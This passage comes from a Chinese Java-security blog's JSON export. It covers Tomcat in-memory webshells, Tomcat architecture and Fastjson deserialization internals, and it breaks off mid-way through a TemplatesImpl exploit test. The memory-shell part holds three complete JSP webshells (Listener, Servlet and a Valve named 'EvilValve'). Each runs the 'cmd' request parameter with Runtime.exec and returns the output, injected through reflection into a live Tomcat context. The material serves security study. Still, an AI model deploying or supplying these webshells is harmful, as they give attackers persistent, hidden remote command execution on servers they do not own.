%><%@ page import="org.apache.catalina.connector.Request" %><%@ page import="org.apache.catalina.connector.Response" %><%! class ListenerMemShell implements ServletRequestListener { @Override public void requestInitialized(ServletRequestEvent sre) { String cmd; try { cmd = sre.getServletRequest().getParameter("cmd"); org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest(); Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request"); requestField.setAccessible(true); Request request = (Request) requestField.get(requestFacade); Response response = request.getResponse(); if (cmd != null) { InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); int i = 0; byte[] bytes = new byte[1024]; while ((i = inputStream.read(bytes)) != -1) { response.getWriter().write(new String(bytes, 0, i)); response.getWriter().write("\\r "); } } } catch (Exception e) { e.printStackTrace(); } } @Override public void requestDestroyed(ServletRequestEvent sre) { } }%><% ServletContext servletContext = request.getServletContext(); Field applicationContextField = servletContext.getClass().getDeclaredField("context"); applicationContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext); ListenerMemShell listener = new ListenerMemShell(); standardContext.addApplicationEventListener(listener);%> Tomcat Servlet 内存马动态注册一个自定义的 Servlet 。 源码调试要想在内存中动态注册一个自定义的 Servlet ,同样需要知道 Servlet 是如何创建的。 由于在初始化 Servlet 之前会先初始化 Listener 和 Filter ,为了排除它们的干扰,我先将项目里的 Listener 和 Filter 全部移除,创造一个只有 Servlet 的世界。 要想站在漏洞发现者的角度去看这个问题是挺难的,我们现在直接给出结论: StandardContext#startInternal() 在 web 容器启动时调用,这其中有两个分支调用, 一是调用 LifecycleBase#fireLifecycleEvent(String, Object),最终调用到 StandardWrapper#setServletClass(String) 完成 Servlet 初始化; 二是调用 StandardContext#loadOnStartup(Container) ,最终调用 StandardWrapper#loadServlet() 完成 Servlet 装载。 Servlet 初始化在 org.apache.catalina.core.StandardWrapper#setServletClass() 处下断点调试,调用栈如下: 往前看一步,看 ContextConfig#configureContext(WebXml): 这其中有一部分是对 Servlet 的设置,主要是从 web.xml 配置文件读取的。因为我用的是注解配置,所以这个对象里面并没有我自定义的一些 Servlet ,这里边只有一些默认自带的 Servlet ,但是并不影响我们模仿这种方式来注册一个 Servlet 。 用 Wrapper 来封装 Servlet ,最后放进 context 的也是这个 wrapper : 添加完 wrapper 之后,还要添加一个 ServletMapping 映射,相当于 Servlet 名称与路由的对应: 以上就是向 Context 中封装 Servlet 的过程,模仿这样的方式向 Context 中封装 Servlet ,也即: 1234567Wrapper wrapper = standardContext.createWrapper();wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());wrapper.setName(servlet.getServletName());wrapper.setServletClass(servlet.getServletClass());wrapper.setServlet(servlet);standardContext.addChild(wrapper);standardContext.addServletMappingDecoded("/miaoji", servlet.getServletName()); 这里取一些必要的属性去设置就行了。 提一嘴,注解配置的 Servlet 初始化过程是这样的,最终是调用 WebAnnotationSet#loadApplicationServletAnnotations : 它跟 web.xml 文件配置的分叉点在 ContextConfig#configureStart() 中: 默认调用 webConfig() 方法从 xml 文件中配置,如果没有设置忽略注解的话,还会调用 applicationAnnotationsConfig() 进行注解配置。 Servlet 装载调用栈如下: 进入 StandardContext#loadOnStartUp(Container) 看看: 这个方法通过对 loadOnStartUp 属性的检测,就实现了一个功能:根据 loadOnStartUp 的取值来决定 Servlet 对象什么时候创建: (1)loadOnStartUp 为负整数,则在第一次访问时创建 Servlet 对象。(2)loadOnStartUp 为 0 或正整数,则在服务器启动时创建 Servlet 对象,数字越小优先级越高。 然后调用 wrapper.load() 来加载: 我个人觉得 loadOnStartUp 属性倒是无足轻重,无论是什么时候创建 Servlet 对象,只要能创建就行了。设置 loadOnStartUp 为正数的好处在于第一次访问 Servlet 的时候速度更快,因为在服务器启动时已经创建了。 addServlet 的实现前面说到要想在内存中动态注册一个自定义的 Servlet ,需要知道 Servlet 是如何创建的。但是一定如此吗?或许我们可以不用知道 Servlet 是如何被创建的,只需要知道 Servlet 要如何动态注册就行了。 ServletContext 类中提供了 addServlet 用来动态注册 Servlet ,而 ServletContext 是个抽象类,关于这个方法的实现在 ApplicationContext 类中。我们来看 ApplicationContext 类的 addServlet 方法: 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162private ServletRegistration.Dynamic addServlet(String servletName, String servletClass, Servlet servlet, Map<String,String> initParams) throws IllegalStateException { if (servletName == null || servletName.equals("")) { throw new IllegalArgumentException(sm.getString( "applicationContext.invalidServletName", servletName)); } if (!context.getState().equals(LifecycleState.STARTING_PREP)) { //TODO Spec breaking enhancement to ignore this restriction throw new IllegalStateException( sm.getString("applicationContext.addServlet.ise", getContextPath())); } Wrapper wrapper = (Wrapper) context.findChild(servletName); // Assume a 'complete' ServletRegistration is one that has a class and // a name if (wrapper == null) { wrapper = context.createWrapper(); wrapper.setName(servletName); context.addChild(wrapper); } else { if (wrapper.getName() != null && wrapper.getServletClass() != null) { if (wrapper.isOverridable()) { wrapper.setOverridable(false); } else { return null; } } } ServletSecurity annotation = null; if (servlet == null) { wrapper.setServletClass(servletClass); Class<?> clazz = Introspection.loadClass(context, servletClass); if (clazz != null) { annotation = clazz.getAnnotation(ServletSecurity.class); } } else { wrapper.setServletClass(servlet.getClass().getName()); wrapper.setServlet(servlet); if (context.wasCreatedDynamicServlet(servlet)) { annotation = servlet.getClass().getAnnotation(ServletSecurity.class); } } if (initParams != null) { for (Map.Entry<String, String> initParam: initParams.entrySet()) { wrapper.addInitParameter(initParam.getKey(), initParam.getValue()); } } ServletRegistration.Dynamic registration = new ApplicationServletRegistration(wrapper, context); if (annotation != null) { registration.setServletSecurity(new ServletSecurityElement(annotation)); } return registration;} 从中同样可以提取出对于 wrapper 的封装过程。这里返回的是一个 ApplicationServletRegistration 对象,至于 mappings 映射的添加,在 ApplicationServletRegistration 的 addMapping 方法里: POC下面是利用 jsp 的实现: 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374<%@ page contentType="text/html;charset=UTF-8" language="java" %><%@ page import="org.apache.catalina.core.ApplicationContext" %><%@ page import="org.apache.catalina.core.StandardContext" %><%@ page import="javax.servlet.*" %><%@ page import="javax.servlet.http.HttpServletRequest" %><%@ page import="java.io.IOException" %><%@ page import="java.lang.reflect.Field" %><%@ page import="org.apache.catalina.Wrapper" %><%@ page import="java.io.InputStream" %><%@ page import="java.util.Scanner" %><% class Shell_Servlet implements Servlet{ @Override public void init(ServletConfig config) throws ServletException { } @Override public ServletConfig getServletConfig() { return null; } @Override public void service(ServletRequest request, ServletResponse response) throws ServletException, IOException { HttpServletRequest req = (HttpServletRequest) request; if (req.getParameter("cmd") != null) { InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\\\A"); String output = s.hasNext() ? s.next() : ""; response.getWriter().write(output); } } @Override public String getServletInfo() { return null; } @Override public void destroy() { } }%><% ServletContext servletContext = request.getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); // 更简单的方法 获取StandardContext // Field reqF = request.getClass().getDeclaredField("request"); // reqF.setAccessible(true); // Request req = (Request) reqF.get(request); // StandardContext standardContext = (StandardContext) req.getContext(); Shell_Servlet servlet = new Shell_Servlet(); String name = servlet.getClass().getSimpleName(); Wrapper wrapper = standardContext.createWrapper(); wrapper.setLoadOnStartup(1); wrapper.setName(name); wrapper.setServletClass(servlet.getClass().getName()); wrapper.setServlet(servlet); standardContext.addChild(wrapper); standardContext.addServletMappingDecoded("/miaoji", name); out.println("Done!");%> Tomcat Valve 内存马Tomcat 中,管道(Pipeline)就像一个请求处理的通道,而 Valve 是放在管道中的处理站。每个请求进入 Tomcat 时,会沿着这个管道依次经过各个 Valve,直到最终处理完成。 StandardPipeline 管理着每个容器的基本 valve(Basic Valve):StandardEngineValve、StandardHostValve、StandardContextValve、StandardWrapperValve 。 Valve 内存马的思路就是要在内存中动态添加一个自定义的 Valve 。这里就以 StandardEngineValve 为例,关注一下它的定义: 1234567891011121314151617181920212223242526272829303132333435363738394041424344package org.apache.catalina.core;import java.io.IOException;import javax.servlet.ServletException;import org.apache.catalina.Host;import org.apache.catalina.connector.Request;import org.apache.catalina.connector.Response;import org.apache.catalina.valves.ValveBase;final class StandardEngineValve extends ValveBase { //------------------------------------------------------ Constructor public StandardEngineValve() { super(true); } // --------------------------------------------------------- Public Methods @Override public final void invoke(Request request, Response response) throws IOException, ServletException { // Select the Host to be used for this Request Host host = request.getHost(); if (host == null) { // HTTP 0.9 or HTTP 1.0 request without a host when no default host // is defined. // Don't overwrite an existing error if (!response.isError()) { response.sendError(404); } return; } if (request.isAsyncSupported()) { request.setAsyncSupported(host.getPipeline().isAsyncSupported()); } // Ask this Host to process this request host.getPipeline().getFirst().invoke(request, response); }} 继承了 ValveBase ,实现了 invoke 方法,并且 invoke 方法中能获取到 request 和 response 。 StandardPipeline 的 addValve 方法可以直接添加 valve ,而 StandardContext 的 getPipeline 方法又能直接获取到 StandardPipeline ,所以如何添加 valve 就一目了然了。 POC12345678910111213141516171819202122232425262728293031323334353637<%@ page contentType="text/html;charset=UTF-8" language="java" %><%@ page import="org.apache.catalina.core.StandardContext" %><%@ page import="javax.servlet.*" %><%@ page import="java.io.IOException" %><%@ page import="java.lang.reflect.Field" %><%@ page import="org.apache.catalina.connector.Request" %><%@ page import="org.apache.catalina.valves.ValveBase" %><%@ page import="org.apache.catalina.connector.Response" %><%@ page import="java.io.InputStream" %><%@ page import="java.util.Scanner" %><% class EvilValve extends ValveBase { @Override public void invoke(Request request, Response response) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) request; if (req.getParameter("cmd") != null) { InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\\\A"); String output = s.hasNext() ? s.next() : ""; response.getWriter().write(output); } // 放行 getNext().invoke(request, response); } }%><% // 更简单的方法获取 StandardContext Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext standardContext = (StandardContext) req.getContext(); // 添加自定义 valve standardContext.getPipeline().addValve(new EvilValve()); out.println("Done!");%> 参考文章Drunkbaby - Java 内存马系列 - 03 - Tomcat 之 Filter 型内存马 枫 - Java 安全学习 —— 内存马 Longlone - Tomcat - Servlet 型内存马 su18 - 1.3.8. JavaWeb 内存马基础","categories":["Java 安全"]},{"title":"基础篇 - Tomcat 架构","path":"/2024/09/26/Java 安全/基础篇-Tomcat架构/","content":"Tomcat 介绍Tomcat 是 Apache 软件基金会开发的一个开源 Java Servlet 容器,用于运行 Java Web 应用程序。它实现了多个 Java EE 规范,如 Servlet、JSP(Java Server Pages)和 WebSocket 等,主要用于处理动态网页请求。作为一个轻量级的应用服务器,Tomcat 常用于开发和测试环境中,同时也适用于生产环境中的中小型应用。 Tomcat 架构在 Tomcat Server 中,核心架构主要由三个组件组成:Service、Connector 和 Container。它们共同构成了 Tomcat 的请求处理和应用管理机制。 以下是对这三个组件的介绍: Service (服务) 功能:Service 是 Tomcat 中用于组织和管理多个 Connector 和一个 Container 的组件。它负责协调客户端连接和容器之间的关系。 结构:一个 Service 包含一个 Container(通常是 Engine)和多个 Connector。Service 的目的是在多个客户端请求和后端的 Web 应用之间建立桥梁。 工作机制:当请求通过 Connector 接入时,Service 会负责将这些请求分发给 Container 处理。Service 也是多个连接器共享一个 Container 的桥梁。 Connector (连接器) 功能:Connector 负责处理客户端和 Tomcat 服务器之间的通信。它将客户端的请求转换成 Tomcat 可以理解的请求对象,并将响应返回给客户端。 协议支持:Connector 支持多种协议,如 HTTP、HTTPS 和 AJP 。常见的连接器包括: HTTP Connector:用于处理标准的 HTTP 请求。 AJP Connector:用于在 Tomcat 和其他 Web 服务器(如 Apache HTTP Server)之间使用 AJP 协议进行通信。 工作机制:Connector 接受客户端的网络连接请求,然后将这些请求传递给 Service 中的 Container 进行进一步处理。 Container (容器) 功能:Container 是 Tomcat 中用于处理请求的核心组件。它负责解析和处理通过 Connector 接收到的请求,并生成相应的响应。 层级结构:Container 包含四种子容器(Engine、Host、Context 和 Wrapper): Engine:最顶层的容器,表示整个 Servlet 引擎。它负责处理通过 Connector 接收到的所有请求。一个 Tomcat 实例通常只包含一个 Engine,它在接受请求后将其分发到相应的 Host。 Host:表示一个虚拟主机。一个 Host 代表一个能够承载多个应用的虚拟主机,通常与一个域名相对应。它允许 Tomcat 在同一台服务器上支持多个域名(虚拟主机)。 Context:代表单个 Web 应用,管理该应用的生命周期。所有的 Servlet、过滤器、监听器等都运行在 Context 中。 Wrapper:包装一个具体的 Servlet,处理最终的请求。 工作机制:当 Container 接收到 Connector 传递的请求时,它会逐级解析请求,最终将请求交给正确的 Servlet 进行处理。 Tomcat ContextTomcat 中有三种 Context :ServletContext、StandardContext、ApplicationContext ServletContext 接口:ServletContext 是一个接口,提供了访问和管理 web 应用程序共享资源的能力。它为所有 servlets 提供全局的视图。 获取方式:通过 request.getServletContext() 可以获取到 ApplicationContextFacade 对象,它是 ServletContext 的一个实现类的包装器,用于保护实际的 ServletContext 实现不被直接操作。 共享性:ServletContext 是在 web 容器启动时为每个 web 应用创建的,它在应用的生命周期内有效,并且在同一应用的所有 servlets 之间共享。因此,它代表当前 web 应用,可以访问应用的资源和设置。 ApplicationContext 实现类:ApplicationContext 是 ServletContext 接口的一个具体实现类。在 Tomcat 中,ApplicationContext 被封装在 ApplicationContextFacade 中,主要用于提供对 ServletContext 的安全访问。 功能:ApplicationContext 实现了 ServletContext 中的方法,因此,它可以管理 web 应用的全局资源、配置初始化参数以及共享属性。 作用:实际上,ApplicationContext 是对 StandardContext 的进一步封装,ApplicationContext 中的方法会调用 StandardContext 中的对应方法,形成对 web 应用的实际管理。 StandardContext 核心实现:StandardContext 是 Tomcat 中 org.apache.catalina.Context 接口的默认实现类。它表示一个完整的 web 应用,并且是 Tomcat 用于管理应用生命周期、配置、加载和运行的实际 Context 实现。 功能与作用: 负责管理整个 web 应用的生命周期(启动、停止、重载等)。 管理应用的所有 servlets、filters、listeners 等组件。 提供对应用的资源路径、JNDI 资源、会话管理等功能的支持。 关系:StandardContext 是 Tomcat 内部的核心组件,负责实现 Context 接口的所有功能,并为 ApplicationContext 提供实际的支持。ApplicationContext 调用的很多方法最终都会映射到 StandardContext 的实现中。 Tomcat 管道机制Tomcat 管道机制(Pipeline Mechanism) 是 Tomcat 内部的请求处理模型之一,它提供了一种灵活的、可扩展的处理请求和响应的方式。管道机制允许在请求和响应处理过程中插入多个可配置的处理器(Valve),这些处理器按顺序执行,形成一个请求处理的链条。 Pipeline 和 Valve 的关系在 Tomcat 中,Pipeline(管道) 是容器(如 Engine、Host、Context 等)的一个组件,用来组织多个 Valve(阀门)。Valve 是一个个的请求处理器,而 Pipeline 负责管理这些 Valve 的顺序调用。 Tomcat 中,管道就像一个请求处理的通道,而 Valve 是放在管道中的处理站。每个请求进入 Tomcat 时,会沿着这个管道依次经过各个 Valve,直到最终处理完成。 Pipeline:是一个容器,它维护一系列的 Valve,形成一个处理链。 Valve:是管道中的节点,执行特定的请求处理逻辑。 Pipeline 结构Tomcat 的 Pipeline 由以下两部分组成: 基本 Valve(Basic Valve):每个管道都必须有一个基本 Valve,它是管道中最后一个被调用的 Valve,负责实际的请求处理(如转发请求给某个特定的 Servlet)。如果没有其他的自定义 Valve 进行拦截或修改,最终的请求会由基本 Valve 处理。 普通 Valve:可以在基本 Valve 之前插入多个普通的 Valve,这些 Valve 按照配置的顺序依次执行。 工作原理当请求进入 Tomcat 时,经过容器(如 Engine、Host、Context 等)的 Pipeline,Pipeline 中的 Valve 会按顺序执行,处理请求并决定是否传递给下一个 Valve。如果某个 Valve 拦截了请求并处理完成,可能会终止后续 Valve 的调用。 执行过程: 请求进入某个容器的 Pipeline。 Pipeline 从第一个 Valve 开始,依次调用每个 Valve 的 invoke() 方法。 每个 Valve 处理请求并决定是否传递给下一个 Valve。如果需要传递,调用 getNext().invoke(request, response)。 如果没有下一个 Valve,最终由 Basic Valve 处理请求。 Tomcat 每个层级的容器(Engine、Host、Context、Wrapper),都有基础的 Valve 实现(StandardEngineValve、StandardHostValve、StandardContextValve、StandardWrapperValve),他们同时维护了一个 Pipeline 实例(StandardPipeline),也就是说,我们可以在任何层级的容器上针对请求处理进行扩展。这四个 Valve 的基础实现都继承了 ValveBase。这个类帮我们实现了生命接口及 MBean 接口,使我们只需专注阀门的逻辑处理即可。 参考文章 Tomcat 架构与 Context 分析 Java 安全学习 —— Tomcat 架构浅析","categories":["Java 安全"]},{"title":"漏洞篇 - Fastjson 反序列化","path":"/2024/09/18/Java 安全/漏洞篇-Fastjson反序列化/","content":"Fastjson 介绍Fastjson 是阿里巴巴开发的一个高性能 JSON 解析库,广泛应用于 Java 项目中。它的主要功能是对 JSON 数据进行序列化和反序列化,即将 Java 对象转换为 JSON 字符串,或者将 JSON 字符串解析为 Java 对象。Fastjson 的优势在于其速度和灵活性,特别是在处理大规模数据时性能表现良好。 快速入门导入如下依赖: 1234567<dependencies> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version> </dependency></dependencies> 在 pojo 包下创建一个简单类: 1234567891011121314151617181920212223242526272829303132333435363738394041424344package pojo;public class User { private String name; private int id; public User(){ System.out.println("无参构造"); } public User(String name, int id) { System.out.println("有参构造"); this.name = name; this.id = id; } @Override public String toString() { return "User{" + "name='" + name + '\\'' + ", id=" + id + '}'; } public String getName() { System.out.print("getName"); return name; } public void setName(String name) { System.out.println("setName"); this.name = name; } public int getId() { System.out.println("getId"); return id; } public void setId(int id) { System.out.println("setId"); this.id = id; }} 序列化调用 JSON 的 toJSONString 方法将对象转换为字符串: 12345678910import com.alibaba.fastjson.JSON;import pojo.User;public class base { public static void main(String[] args) { User user = new User("zhangsan",1); String json = JSON.toJSONString(user); System.out.println(json); }} 输出结果如下: 可以看出,在调用 JSON.toJSONString 方法时调用了对象的 getter 方法获取属性值。 toJSONString 方法有很多重写: 在 Java 中,方法参数后面的三个点(…)代表可变参数(Varargs),即这个方法可以接受任意数量的该类型参数。在 Fastjson 中,SerializerFeature… features 意味着这个方法可以接受多个 SerializerFeature 枚举值,甚至可以不传递任何 SerializerFeature。 如果再多传入一个参数 SerializerFeature ,值为 SerializerFeature.WriteClassName ,就可以在序列化结果中多打印一个 @type:类名 : 传入 SerializerFeature.WriteClassName 可以使得 Fastjson 支持自省,开启自省后序列化成 JSON 的数据就会多一个 @type ,这个是代表对象类型的 JSON 文本。 反序列化反序列化时常使用的方法为 parse() 、parseObject() 、parseArray() ,这三个方法也均包含若干重载方法: 下面程序用来测试反序列化: 123456789101112131415161718192021import com.alibaba.fastjson.JSON;import pojo.User;public class base2 { public static void main(String[] args) { String json = "{\\"@type\\":\\"pojo.User\\",\\"id\\":1,\\"name\\":\\"zhangsan\\"}"; String json2 = "{\\"id\\":1,\\"name\\":\\"zhangsan\\"}"; System.out.println(JSON.parseObject(json)); System.out.println("----------------------------------"); System.out.println(JSON.parseObject(json2)); System.out.println("----------------------------------"); System.out.println(JSON.parseObject(json, User.class)); System.out.println("----------------------------------"); System.out.println(JSON.parseObject(json2, User.class)); System.out.println("----------------------------------"); System.out.println(JSON.parse(json)); System.out.println("----------------------------------"); System.out.println(JSON.parse(json2)); }} 输出结果如下: 不同的方法和参数得到的结果也不同,其中: 12JSON.parseObject(json2)JSON.parse(json2) 这两个方式的反序列化是失败的。 parse() 、parseObject()来聊聊这两个方法。在上面的案例中可以知道,如果要成功反序列化出 User 对象,parseObject 就一定要指定第二个参数为 User.class ,而 parse 则一定要用 @type 指定要反序列化的类。 parseObject 方法如果不指定第二个参数,那么会返回 JSONObject 对象,而不是 User 对象: 1JSON.parseObject(json) 并且像这样的调用方式会同时调用 User 的 getter/setter 方法。 getter/setter 方法的调用可以发现,无论是序列化还是反序列化,都会调用其 getter 或 setter 方法。我们来跟进一下看看具体是在哪里调用的。 就以 JSON.parseObject(json) 这样的调用方式为例,跟进 JSON#parseObject(String): 这里调用 parse 方法,跟进 JSON#parse(String): 继续跟进 JSON#parse(String, int): 这里先是调用 DefaultJSONParser 获取一个默认 Json 解析器,然后调用解析器的 parse 方法。 跟进 DefaultJSONParser#parse(): 跟进 DefaultJSONParser#parse(Object): 直接进入了 case LBRACE 。JSONObject 的构造方法没什么可看的。 直接跟进 DefaultJSONParser#parseObject(final Map, Object): 方法的中间调用了 config.getDeserializer 来获取一个反序列化器,我们先跟进它,也就是 ParserConfig#getDeserializer(Type): 这里调用重载方法,跟进 ParserConfig#getDeserializer(Class<?>, Type): 跟进 ParserConfig#createJavaBeanDeserializer(Class<?>, Type) : 跟进 JavaBeanInfo#build(Class<?>, Type, PropertyNamingStrategy): 这个方法比较重要,那些 getter/setter 方法就是在这里获取名称的。 在方法的中间遍历类中的所有 public 方法,过滤出符合条件的 setter 方法: 代码很长,这里就不放完了。总结起来就是: 判断 setter 方法: 方法名长度大于等于 4 不是静态方法 返回类型为空或当前类 参数个数为 1 个 方法上的 @JSONField 注解没有指定该字段不可反序列化 方法名以 “set” 开头 判断字段名: char c3 = methodName.charAt(3); 获取方法名的第四个字符(即 setXyz 中的 X) 如果 c3 是大写字母,则字段名为 setXyz 中的 xyz 。 如果 c3 是下划线 _ ,则字段名为 set_xxx 中的 xxx 。 如果方法名的第五个字符是大写字符,则保留原来的大写风格。比如 setURL 保留 URL 作为字段名。 根据上述方法推导出来的字段名,通过反射去查找类中的实际字段。如果没有找到字段,并且方法参数是 boolean 类型,尝试将字段名前面加个 “is” ,改为 isXyz 形式重新查找字段。 后面再接着遍历类中的所有 public 方法,过滤出符合条件的 getter 方法: 同样总结一下获取 getter 方法的规则: 方法名长于 4 不是静态方法 以 get 开头且第 4 位是大写字母 没有参数 返回类型继承自 Collection|Map|AtomicBoolean|AtomicInteger|AtomicLong 对带有 @JSONField 注解的方法,优先使用注解中定义的属性名或选项。 build 方法的最后将该类的构造函数、字段、获取到的 setter/getter 方法以及其他与序列化和反序列化相关的信息都封装进了一个 JavaBeanInfo 对象: 好的,回到 DefaultJSONParser#parseObject(final Map, Object) ,我们接下来看下面的调用: 跟进 JavaBeanDeserializer#deserialze(DefaultJSONParser, Type, Object): 这里需要注意的是,如果直接进入下一步,会跟不进去: 这是由于 ParserConfig#createJavaBeanDeserializer(Class<?>, Type) 中设置 asmEnable 为 true 了。如果确实想跟进去看的话,可以在调试时将其值设置为 false 。asmEnable 是 true 的情况下,使用 asm 从字节码层面生成特定 javabean 的反序列化器,自然无法跟进去看了;为 false 的时候,则使用常规的 set 方法进行反序列化(效率低、不安全)。不过这两种方法生成的内容是一样的。 那么重新调试,再次调试到这里的时候,将其值设置为 false : 继续调试到 JavaBeanDeserializer#deserialze(DefaultJSONParser, Type, Object),此时可以跟进了: 这里两个重载方法,一路跟到 JavaBeanDeserializer#deserialze(DefaultJSONParser, Type, Object, Object, int): 这个方法在经过一系列处理后,最终调用到了 fieldDeser.setValue 来为 User 对象赋值。 跟进 FieldDeserializer#setValue(Object, Object): 这里就是最终调用 setter 方法的地方。 然而,如果说 json 字符串中的字段名与 JavaBeanInfo#build(Class<?>, Type, PropertyNamingStrategy) 方法获取到的 JavaBeanInfo 对象中存储的字段名不一致的话,那么 JavaBeanDeserializer#deserialze(DefaultJSONParser, Type, Object, Object, int) 的 matchField 值为 false ,就会进入另一条分支,调用 parseField 方法来处理。比如我现在将 id 字段改为 _i_d_ ,但是 setter 方法还是叫 setId : 跟进 JavaBeanDeserializer#parseField(DefaultJSONParser, String, Object, Type, Map<String, Object>): 跟进 JavaBeanDeserializer#smartMatch(String),这是一个比较关键的方法,如果匹配不一致的话,会判断 key 是否是 is 开头,或者将 key 中的 - 和 _ 去掉再比对: 也就是说即使字段名为 _i_d_ ,依然能够找到名为 setId 的 setter 方法。 若是走这条路,则是在 DefaultFieldDeserializer#parseField(DefaultJSONParser, Object, Type, Map<String, Object>) 中调用 setvalue 方法: 那么 getter 方法又在哪里调用呢?回到最初的 JSON#parseObject(String): 现在 parse 这条路已经走完了,跟进 JSON#toJSON(Object),这是一个将 Java 对象转为 Json 数据的方法: 跟进 JSON#toJSON(Object, SerializeConfig) : 这里调用 javaBeanSerializer.getFieldValuesMap 来获取字段值的 Map 集合。 跟进 JavaBeanSerializer#getFieldValuesMap(Object): 这里调用 getter.getPropertyValue 获取属性值。 跟进 FieldSerializer#getPropertyValue(Object) : 跟进 FieldInfo#get(Object): 这里就是调用 getter 方法的地方了。 调用链总结于是可以总结出如下调用链: 1234567891011121314151617181920212223JSON#parseObject(String)*-> JSON#parse(String)* JSON#parse(String, int)* DefaultJSONParser#parse()* DefaultJSONParser#parse(Object)* DefaultJSONParser#parseObject(final Map, Object)* *-> ParserConfig#getDeserializer(Type)* * ParserConfig#getDeserializer(Class<?>, Type)* * ParserConfig#createJavaBeanDeserializer(Class<?>, Type) # 设置 asmEnable 为 false* * JavaBeanInfo#build(Class<?>, Type, PropertyNamingStrategy) # 筛选 setter/getter 方法* *-> JavaBeanDeserializer#deserialze(DefaultJSONParser, Type, Object)* * JavaBeanDeserializer#deserialze(DefaultJSONParser, Type, Object, int)* * JavaBeanDeserializer#deserialze(DefaultJSONParser, Type, Object, Object, int)* * *-> JavaBeanDeserializer#parseField(DefaultJSONParser, String, Object, Type, Map<String, Object>)* * * *-> JavaBeanDeserializer#smartMatch(String) # 字段名不一致,去除-_等符号再比对* * * *-> DefaultFieldDeserializer#parseField(DefaultJSONParser, Object, Type, Map<String, Object>)* * * * FieldDeserializer#setValue(Object, Object) # 调用 setter/getter 方法* * *-> FieldDeserializer#setValue(Object, Object) # 调用 setter/getter 方法*-> JSON#toJSON(Object)* JSON#toJSON(Object, SerializeConfig)* JavaBeanSerializer#getFieldValuesMap(Object)* FieldSerializer#getPropertyValue(Object)* FieldInfo#get(Object) # 调用 getter 方法 其他的反序列化调用方式也大差不差。 特性总结这里直接引用素十八师傅的总结(1.4.8. Fastjson 反序列化漏洞): 使用 JSON.parse(jsonString) 和 JSON.parseObject(jsonString, Target.class),两者调用链一致,前者会在 jsonString 中解析字符串获取 @type 指定的类,后者则会直接使用参数中的 class 。 fastjson 在创建一个类实例时会通过反射调用类中符合条件的 getter/setter 方法,其中 getter 方法需满足条件:方法名长于 4、不是静态方法、以 get 开头且第 4 位是大写字母、方法不能有参数传入、继承自 Collection|Map|AtomicBoolean|AtomicInteger|AtomicLong、此属性没有 setter 方法;setter 方法需满足条件:方法名长于 4,以 set 开头且第 4 位是大写字母、非静态方法、返回类型为 void 或当前类、参数个数为 1 个。具体逻辑在 com.alibaba.fastjson.util.JavaBeanInfo.build() 中。 使用 JSON.parseObject(jsonString) 将会返回 JSONObject 对象,且类中的所有 getter 与 setter 都被调用。 如果目标类中私有变量没有 setter 方法,但是在反序列化时仍想给这个变量赋值,则需要使用 Feature.SupportNonPublicField 参数。 fastjson 在为类属性寻找 get/set 方法时,调用函数 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch() 方法,会忽略 _|- 字符串,也就是说哪怕你的字段名叫 _a_g_e_,getter 方法为 getAge(),fastjson 也可以找得到,在 1.2.36 版本及后续版本还可以支持同时使用 _ 和 - 进行组合混淆。 fastjson 在反序列化时,如果 Field 类型为 byte[],将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue 进行 base64 解码,对应的,在序列化时也会进行 base64 编码。 这些特性对于分析反序列化漏洞有很大帮助,其中一部分已经在前面的代码分析中证明完成。 Fastjson 反序列化fastjson 1.2.24影响版本:fastjson <= 1.2.24 描述:fastjson 默认使用 @type 指定反序列化任意类,攻击者可以通过在 Java 常见环境中寻找能够构造恶意类的方法,通过反序列化的过程中调用的 getter/setter 方法,以及目标成员变量的注入来达到传参的目的,最终形成恶意调用链。此漏洞开启了 fastjson 反序列化漏洞的大门,为安全研究人员提供了新的思路。 TemplatesImpl 利用链com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 实现了 Serializable 接口,它可以被序列化。 具体来看 TemplatesImpl#getTransletInstance() 方法: 这是一个 getter 方法,但是不满足调用要求,它的返回类型是 Translet 。 再往上找,newTransformer() 方法调用了 getTransletInstance() : getOutputProperties() 方法又调用了 newTransformer() : getOutputProperties() 方法是成员属性 _outputProperties 的 getter 方法,它的返回类型是 Properties ,Properties 实现了 Map 接口,符合要求,反序列化时可以调用。 不过美中不足的是 _outputProperties 属性是私有的,而且没有 setter 方法,所以要用 Feature.SupportNonPublicField 参数才能给它赋值。 有关 TemplatesImpl 链的一些细节我已经在 CC3 的文章中分析清楚了,总结一下调用链: 123456TemplatesImpl#getOutputProperties()TemplatesImpl#newTransformer()TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() TransletClassLoader#defineClass() # 将 _class、_transletIndex 赋值 -> Class#newInstance() # 初始化时执行静态代码块 下面直接给出测试用例: 12345678910111213141516171819202122232425262728import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import java.nio.file.Files;import java.nio.file.Paths;import java.util.Base64;public class TemplateImplTest { public static void main(String args[]) { try { byte[] code = Files.readAllBytes(Paths.get("C:\\\\Users\\\\miaoj\\\\Documents\\\\Java安全代码实验\\\\FastjsonTest\\\\target\\\\classes\\\\pojo\\\\Eval.class")); String base64Code = 